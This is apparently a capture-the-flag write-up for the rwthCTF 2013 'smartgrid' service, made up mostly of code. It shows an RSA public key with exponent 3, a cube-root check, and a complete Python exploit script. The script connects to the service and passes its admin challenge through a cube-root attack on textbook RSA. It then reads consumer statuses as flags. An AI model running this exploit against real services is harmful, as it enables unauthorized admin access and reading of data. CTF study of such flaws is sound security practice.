# rwthCTF 2k13 - smartgrid


# cat grid.pub
-----BEGIN PUBLIC KEY-----
MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEA0pbD0fyDY0sVLMBlEN+g
iGIHjY5KdCTKn722qjmOK6J7Y8r8JDpu01YXmroDjtjy0FAk1C2+ofdZIoVVqms3
8kuXnUOziSHuhK3fpPZbh560G5t7KDBIH6mQ3h0xiLaJpaZClL1QFE7OPFvIexnO
nJoBQbU2R9hpUVRJ18XmgAwCfilNlD6tgp1Ewlou3cPvWP5S2YvfiBPzn0/kSgmP
mx5vABDacygL8BqCSWW7tKRhSXtzAqarve6qOaAjW9JOcyrnmHQEyzahaFIUBpob
OnMFQT1gBPZ/J9bdRUy+OGllYXzaua8/+wuCNAXOJYd43h2QRfl25ULNqyd5zZcE
+hIJtVdoAy3Qdw4zOLqeeo+YPnBR/5rV3R8rFG20yHp3adnHocPyV2uo987vtP4U
pt6URFyI8x2wvTpscjMHWdAQ8vq804OPnagXz0j0Rgw9+BvyD1StiaZHIlYUT0u4
PHG1ynG1solOx1O9jn9aBTTks/0jZGUy+Romgh3Wqfawivnc2Lry5hwCHwMz5NZ+
xoatZlyzd6NCyFcSROctIo4Qw5V0FIbFpx5RNjwNQ4cQvYcKHjmwTwQWiL+6MOWu
GRKIOABJcAXGBnpPUQKAP6JFuORxqD5h1tOQhk1T2ef1FbwKJIwgsVAlGIJNkEq1
G+sEadzv1qowDAbkEFKTKT0CAQM=
-----END PUBLIC KEY-----
# openssl rsa -pubin -inform PEM -text -noout < grid.pub | grep '('
Public-Key: (4096 bit)
Exponent: 3 (0x3)
# ipython
: import gmpy
: message = 2**1024
: modulus = gmpy.mpz(2**4096)
: cube_root = modulus.root(3)[0]
: if message < cube_root:
    print "Go!"
Go!
# cat netlib.py
import socket
import time

# Socket Client
class sc:
        def __init__(self, host, port, layer4):
                self.host = host
                self.port = int(port)
                self.layer4 = layer4

        def connect(self, max_retries, pause):
                if self.layer4 == "tcp":
                        socket_type = socket.SOCK_STREAM
                elif self.layer4 == "udp":
                        socket_type = socket.SOCK_DGRAM
                self.socket = socket.socket(socket.AF_INET, socket_type)
                retries = 0
                while True:
                        try:
                                self.socket.connect((self.host, self.port))
                                return True
                        except:
                                retries += 1
                                if retries == max_retries:
                                        print "Unable to connect."
                                        return False
                                time.sleep(pause)

        def send(self, data):
                try:
                        count = self.socket.send(data)
                except:
                        print "Unable to send data."
                        return False

                if count == len(data):
                        return True
                else:
                        print "Unable to send all data."
                        return False

        def recv(self, buffsize, timeout):
                data = None
                self.socket.settimeout(timeout)
                try:
                        data = self.socket.recv(buffsize)
                except socket.timeout:
                        print "Receive timeout"
                except:
                        print "Unexpected exception while receiving"
                self.socket.settimeout(None)
                return data

        def close(self):
                self.socket.close()
# cat smartgrid.py
#!/usr/bin/python

import gmpy
import hashlib
import netlib
import sys
import time

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip = sys.argv[1]
port = sys.argv[2]
proto = sys.argv[3]

def cube_root_attack(message):
        # if e = 3 and m < n**1/3 then c = m**3
        m = gmpy.mpz(message)
        cube_root= m.root(3)[0]
        sha = hashlib.sha256()
        sha.update(str(cube_root))
        return sha.hexdigest()

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        break

        if sc.send("help\r\n") == False:
                sys.exit()
        help = ""
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        help += data[:-1]
                        break
                else:
                        help += data

        if help.find("readstatus") == -1: # Is admin mode active?
                if sc.send("admin\r\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                if data == None:
                        sys.exit()
                challenge = data.split('=')[1]
                solution = cube_root_attack(int(challenge))
                if sc.send("answer=" + solution + "\r\n") == False:
                        sys.exit()
                while True:
                        data = sc.recv(buffsize, timeout)
                        if data.endswith(">"):
                                break

        if sc.send("listconsumers" + "\r\n") == False:
                sys.exit()
        listconsumers = ""
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        listconsumers += data[:-2]
                        break
                else:
                        listconsumers += data
        listconsumers = listconsumers[15:-2]
        listconsumers = listconsumers.replace("'","")
        uuids = listconsumers.split(", ")
        uuids.reverse()

        for i in range(30):
                if sc.send("readstatus " + uuids[i] + "\r\n") == False:
                        sys.exit()
                result = ""
                while True:
                        data = sc.recv(buffsize, timeout)
                        if data.endswith(">"):
                                result += data[:-2]
                                break
                        else:
                                result += data
                pos = result.find("status=")
                status = result[pos+7:pos+23]
                pos = result.find("tstamp=")
                tstamp = result[pos+7:pos+17]
                if int(time.time()) - int(tstamp) < 15 * 60: # Last 15 minutes
                        print status # Flag
        sc.close()
# ./smartgrid.py 10.22.x.1 21721 tcp
References

http://h4des.org/blog/index.php?/archives/339-rwthCTF-2013-smartgrid-write-up.html

No comments: